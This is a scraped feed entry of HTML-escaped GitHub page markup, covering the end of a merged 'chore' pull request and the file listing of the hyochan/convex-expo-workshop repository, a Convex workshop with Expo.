        &lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=40&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;
&lt;/a&gt;  &lt;/div&gt;
&lt;/div&gt;

      &lt;div&gt;
        &lt;code&gt;chore: setup boilerplate with clerk&lt;/code&gt;

      &lt;/div&gt;

      &lt;div&gt;
        

    
    
    

  

      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;
          

    
    
    

  

  &lt;div&gt;
    
  &lt;/div&gt;


        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div&gt;
        &lt;code&gt;ea3b9de&lt;/code&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;


&lt;/div&gt;

      &lt;div&gt;
  
            &lt;div&gt;
    &lt;div&gt;
      
    &lt;/div&gt;
    &lt;div&gt;

      


          &lt;a href=&quot;https://github.com/hyochan&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=40&amp;amp;u=a46ea8e97772a53ce03e7eb45de28a02de92cbc9&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
&lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt;




          added
  the 
&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/issues?q=state%3Aopen%20label%3A%22%F0%9F%8F%8B%F0%9F%8F%BD%20chore%22&quot;&gt;
  🏋🏽 chore
&lt;/a&gt;
 label


      Oct 1, 2024

    &lt;/div&gt;
  &lt;/div&gt;




&lt;/div&gt;

      &lt;div&gt;
  
        &lt;div&gt;
  &lt;div&gt;
      &lt;div&gt;
  
  
  &lt;div&gt;          &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
&lt;div&gt;
  &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan&quot;&gt;
        &lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=40&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;
&lt;/a&gt;  &lt;/div&gt;
&lt;/div&gt;

      &lt;div&gt;
        &lt;code&gt;chore: update readme and tests&lt;/code&gt;

      &lt;/div&gt;

      &lt;div&gt;
        

    
    
    

  

      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;
          

    
    
    

  

  &lt;div&gt;
    
  &lt;/div&gt;


        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div&gt;
        &lt;code&gt;8d8e0ef&lt;/code&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;


&lt;/div&gt;

      &lt;div&gt;
  
          &lt;div&gt; 
  &lt;div&gt;
    
  &lt;/div&gt;
  &lt;div&gt;


        &lt;a href=&quot;https://github.com/hyochan&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=40&amp;amp;u=a46ea8e97772a53ce03e7eb45de28a02de92cbc9&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  &lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt;



        merged commit &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/commit/68a0429dbca5ee432f50dbb8c7f9c59f5fb82191&quot;&gt;&lt;code class=&quot;Link--primary text-bold&quot;&gt;68a0429&lt;/code&gt;&lt;/a&gt;
      into

      &lt;span&gt;
  &lt;span&gt;
    &lt;span&gt;main&lt;/span&gt;
  &lt;/span&gt;
&lt;/span&gt;

    &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/pull/1#event-14470429201&quot;&gt;Oct 1, 2024&lt;/a&gt;

  &lt;/div&gt;
&lt;/div&gt;



  &lt;div&gt;
  
  
  &lt;div&gt;      &lt;a href=&quot;https://github.com/hyochan&quot;&gt;&lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=40&amp;amp;u=a46ea8e97772a53ce03e7eb45de28a02de92cbc9&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
  &lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt;


    
    deleted the
    &lt;span&gt;
      &lt;span&gt;
        chore/boilerplate-with-clerk
&lt;/span&gt;    &lt;/span&gt;
    branch

    October 1, 2024 10:58    
    
&lt;/div&gt;
&lt;/div&gt;


&lt;/div&gt;





  
  &lt;div&gt;
    
      
  &lt;/div&gt;






&lt;div&gt;
  
&lt;/div&gt;




&lt;/div&gt;&lt;div&gt;
  
      &lt;div&gt;
  
    &lt;a href=&quot;https://github.com/join?source=comment-repo&quot;&gt;Sign up for free&lt;/a&gt;
    &lt;strong&gt;to join this conversation on GitHub&lt;/strong&gt;.
    Already have an account?
    &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fhyochan%2Fconvex-expo-workshop%2Fpull%2F1&quot;&gt;Sign in to comment&lt;/a&gt;


  
&lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;
&lt;div&gt;

      &lt;div&gt;
  
    
    
    

  &lt;h3&gt;
    Reviewers
  &lt;/h3&gt;

    &lt;span&gt;

    No reviews
&lt;/span&gt;

&lt;/div&gt;


    &lt;div&gt;
  

      
  &lt;h3&gt;
    Assignees
  &lt;/h3&gt;


        

&lt;span&gt;
    No one assigned
&lt;/span&gt;


&lt;/div&gt;


      
&lt;div&gt;
  


  &lt;h3&gt;
    Labels
  &lt;/h3&gt;


    &lt;div&gt;
      
&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/issues?q=state%3Aopen%20label%3A%22%F0%9F%8F%8B%F0%9F%8F%BD%20chore%22&quot;&gt;
    &lt;span&gt;🏋🏽 chore&lt;/span&gt;
&lt;/a&gt;

&lt;/div&gt;

&lt;/div&gt;


      

  &lt;div&gt;
    
        &lt;h3&gt;
    Projects
  &lt;/h3&gt;

        &lt;div&gt;
&lt;/div&gt;
&lt;span&gt;
    None yet

&lt;/span&gt;

  &lt;/div&gt;


      
&lt;div&gt;
  
    
  &lt;h3&gt;
    Milestone
  &lt;/h3&gt;

      No milestone

&lt;/div&gt;


    
      
          
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
        
          
  &lt;h3&gt;
    Development
  &lt;/h3&gt;


            

&lt;p&gt;Successfully merging this pull request may close these issues.&lt;/p&gt;




  
  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;


      
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;

      

    

  
        &lt;div&gt;
  &lt;div&gt;
    &lt;h3&gt;
      1 participant
    &lt;/h3&gt;
    &lt;div&gt;
        &lt;a href=&quot;https://github.com/hyochan&quot;&gt;
          &lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=52&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt; 
&lt;/a&gt;    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;



    


    


    


    

&lt;/div&gt;

&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Add this suggestion to a batch that can be applied as a single commit.&lt;/span&gt;&lt;span&gt;This suggestion is invalid because no changes were made to the code.&lt;/span&gt;&lt;span&gt;Suggestions cannot be applied while the pull request is closed.&lt;/span&gt;&lt;span&gt;Suggestions cannot be applied while viewing a subset of changes.&lt;/span&gt;&lt;span&gt;Only one suggestion per line can be applied in a batch.&lt;/span&gt;&lt;span&gt;Add this suggestion to a batch that can be applied as a single commit.&lt;/span&gt;&lt;span&gt;Applying suggestions on deleted lines is not supported.&lt;/span&gt;&lt;span&gt;You must change the existing code in this line in order to create a valid suggestion.&lt;/span&gt;&lt;span&gt;Outdated suggestions cannot be applied.&lt;/span&gt;&lt;span&gt;This suggestion has been applied or marked resolved.&lt;/span&gt;&lt;span&gt;Suggestions cannot be applied from pending reviews.&lt;/span&gt;&lt;span&gt;Suggestions cannot be applied on multi-line comments.&lt;/span&gt;&lt;span&gt;Suggestions cannot be applied while the pull request is queued to merge.&lt;/span&gt;&lt;span&gt;Suggestion cannot be applied right now. Please check back later.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content:encoded>
</item>
<item>
<title>GitHub - hyochan/convex-expo-workshop: Convex workshop with Expo · GitHub</title>
<link>https://github.com/hyochan/convex-expo-workshop</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/1c3d76910a7c4051b6870e15b94002ce6f50cf894d8d61417d7782a8830a18da/hyochan/convex-expo-workshop"></enclosure>
<guid isPermaLink="false">D2H8mnZUrgenDs5cAG68eqz3-ZNSZpqOV47K2w==</guid>
<pubDate>Sat, 30 May 2026 03:28:37 +0000</pubDate>
<description>Convex workshop with Expo. Contribute to hyochan/convex-expo-workshop development by creating an account on GitHub.</description>
<content:encoded>&lt;body&gt;
    &lt;div&gt;
      
      

    &lt;div&gt;
      Skip to content

      &lt;span&gt;
    
&lt;/span&gt;      
      
      



  
  
  






      

          

              






&lt;header&gt;
  &lt;h2&gt;Navigation Menu&lt;/h2&gt;

  

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        
      &lt;/div&gt;

      &lt;a href=&quot;https://github.com/&quot;&gt;
        
      &lt;/a&gt;

      &lt;div&gt;
          &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fhyochan%2Fconvex-expo-workshop&quot;&gt;
            Sign in
          &lt;/a&gt;
              &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      &lt;div&gt;
          



  
  
  




        &lt;div&gt;
                



  &lt;div&gt;
      

    

    
&lt;div&gt;
  
      &lt;h1&gt;Search code, repositories, users, issues, pull requests...&lt;/h1&gt;
    &lt;div&gt;
      
          &lt;div&gt;        &lt;div&gt;
          
  
    &lt;div&gt;
      
        Search
      
      &lt;div&gt;
          &lt;span&gt;
            
          &lt;/span&gt;
        &lt;div&gt;
          
          &lt;div&gt;
            
            
          &lt;/div&gt;
        &lt;/div&gt;
          &lt;span&gt;
            &lt;span&gt;Clear&lt;/span&gt;
            

          &lt;/span&gt;
      &lt;/div&gt;
      



































































        &lt;div&gt;
                        

        &lt;/div&gt;
      &lt;div&gt;
        &lt;span&gt;
          
        &lt;/span&gt;
        
&lt;/div&gt;    &lt;/div&gt;
    

          &lt;div&gt;
            &lt;a href=&quot;https://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax&quot;&gt;Search syntax tips&lt;/a&gt;            
          &lt;/div&gt;
        &lt;/div&gt;
&lt;/div&gt;

    &lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  
  &lt;div&gt;
    

  

    
    

  
    
  &lt;/div&gt;



            &lt;div&gt;
              &lt;a href=&quot;https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fhyochan%2Fconvex-expo-workshop&quot;&gt;
                Sign in
              &lt;/a&gt;
            &lt;/div&gt;

              &lt;a href=&quot;https://github.com/signup?ref_cta=Sign+up&amp;amp;ref_loc=header+logged+out&amp;amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E&amp;amp;source=header-repo&amp;amp;source_repo=hyochan%2Fconvex-expo-workshop&quot;&gt;
                Sign up
              &lt;/a&gt;

                &lt;div&gt;
    
      Appearance settings

      
    
  &lt;/div&gt;

          
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/header&gt;

      &lt;div&gt;
  
        
        &lt;span&gt;You signed in with another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You signed out in another tab or window. Reload to refresh your session.&lt;/span&gt;
        &lt;span&gt;You switched accounts on another tab or window. Reload to refresh your session.&lt;/span&gt;

    Dismiss alert


  
&lt;/div&gt;
    &lt;/div&gt;

  








    &lt;div&gt;




  
&lt;/div&gt;


    






  &lt;div&gt;
        &lt;div&gt;
    &lt;main&gt;
      
      






  

  &lt;div&gt;

      &lt;div&gt;

        &lt;div&gt;
            
  &lt;div&gt;
      
    
    &lt;span&gt;
      &lt;a href=&quot;https://github.com/hyochan&quot;&gt;
        hyochan
&lt;/a&gt;    &lt;/span&gt;
    &lt;span&gt;/&lt;/span&gt;
    &lt;strong&gt;
      &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop&quot;&gt;convex-expo-workshop&lt;/a&gt;
    &lt;/strong&gt;

    &lt;span&gt;Public&lt;/span&gt;
  &lt;/div&gt;


        &lt;/div&gt;

        &lt;div&gt;
            &lt;ul&gt;
    
      

  &lt;li&gt;
            &lt;a href=&quot;https://github.com/login?return_to=%2Fhyochan%2Fconvex-expo-workshop&quot;&gt;    Notifications
&lt;/a&gt;    You must be signed in to change notification settings

  &lt;/li&gt;

  &lt;li&gt;
          &lt;a href=&quot;https://github.com/login?return_to=%2Fhyochan%2Fconvex-expo-workshop&quot;&gt;    Fork
    &lt;span&gt;0&lt;/span&gt;
&lt;/a&gt;
  &lt;/li&gt;

  &lt;li&gt;
        &lt;div&gt;
        &lt;a href=&quot;https://github.com/login?return_to=%2Fhyochan%2Fconvex-expo-workshop&quot;&gt;    &lt;span&gt;
          Star
&lt;/span&gt;          &lt;span&gt;2&lt;/span&gt;
&lt;/a&gt;&lt;/div&gt;
  &lt;/li&gt;

&lt;/ul&gt;

        &lt;/div&gt;
      &lt;/div&gt;

        &lt;div&gt;
&lt;/div&gt;


          

  &lt;/div&gt;
  




    &lt;div&gt;
    



    
      
    









  
  
  &lt;div&gt;  &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop&quot;&gt;&lt;/a&gt; &lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;header&gt;&lt;div&gt;




&lt;h1&gt;hyochan/convex-expo-workshop&lt;/h1&gt;



&lt;/div&gt;&lt;/header&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/branches&quot;&gt;&lt;span&gt;&lt;span&gt;Branches&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tags&quot;&gt;&lt;span&gt;&lt;span&gt;Tags&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/branches&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tags&quot;&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Open more actions menu&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;Folders and files&lt;/h2&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;&lt;span&gt;Name&lt;/span&gt;&lt;/th&gt;&lt;th colspan=&quot;1&quot;&gt;&lt;span&gt;Name&lt;/span&gt;&lt;/th&gt;&lt;th&gt;&lt;div&gt;&lt;span&gt;Last commit message&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;th colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;span&gt;Last commit date&lt;/span&gt;&lt;/div&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td colspan=&quot;3&quot;&gt;&lt;div&gt;&lt;h2&gt;Latest commit&lt;/h2&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;History&lt;/h2&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/commits/main/&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;11 Commits&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/commits/main/&quot;&gt;&lt;/a&gt;&lt;span&gt;11 Commits&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.dooboo&quot;&gt;.dooboo&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.dooboo&quot;&gt;.dooboo&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.github/workflows&quot;&gt;&lt;span&gt;.github/&lt;/span&gt;&lt;span&gt;workflows&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.github/workflows&quot;&gt;&lt;span&gt;.github/&lt;/span&gt;&lt;span&gt;workflows&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.husky&quot;&gt;.husky&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.husky&quot;&gt;.husky&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.vscode&quot;&gt;.vscode&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/.vscode&quot;&gt;.vscode&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/__mocks__&quot;&gt;__mocks__&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/__mocks__&quot;&gt;__mocks__&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/app&quot;&gt;app&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/app&quot;&gt;app&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/assets&quot;&gt;assets&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/assets&quot;&gt;assets&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/convex&quot;&gt;convex&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/convex&quot;&gt;convex&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/public/.well-known&quot;&gt;&lt;span&gt;public/&lt;/span&gt;&lt;span&gt;.well-known&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/public/.well-known&quot;&gt;&lt;span&gt;public/&lt;/span&gt;&lt;span&gt;.well-known&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/src&quot;&gt;src&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/src&quot;&gt;src&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/test&quot;&gt;test&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main/test&quot;&gt;test&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.env.sample&quot;&gt;.env.sample&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.env.sample&quot;&gt;.env.sample&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.eslintignore&quot;&gt;.eslintignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.eslintignore&quot;&gt;.eslintignore&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt; &lt;/div&gt;&lt;/td&gt;&lt;td&gt;&lt;div&gt;&lt;div&gt; &lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/main/.eslintrc.js&quot;&gt;.eslintrc.js&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td colspan=&quot;1&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;a 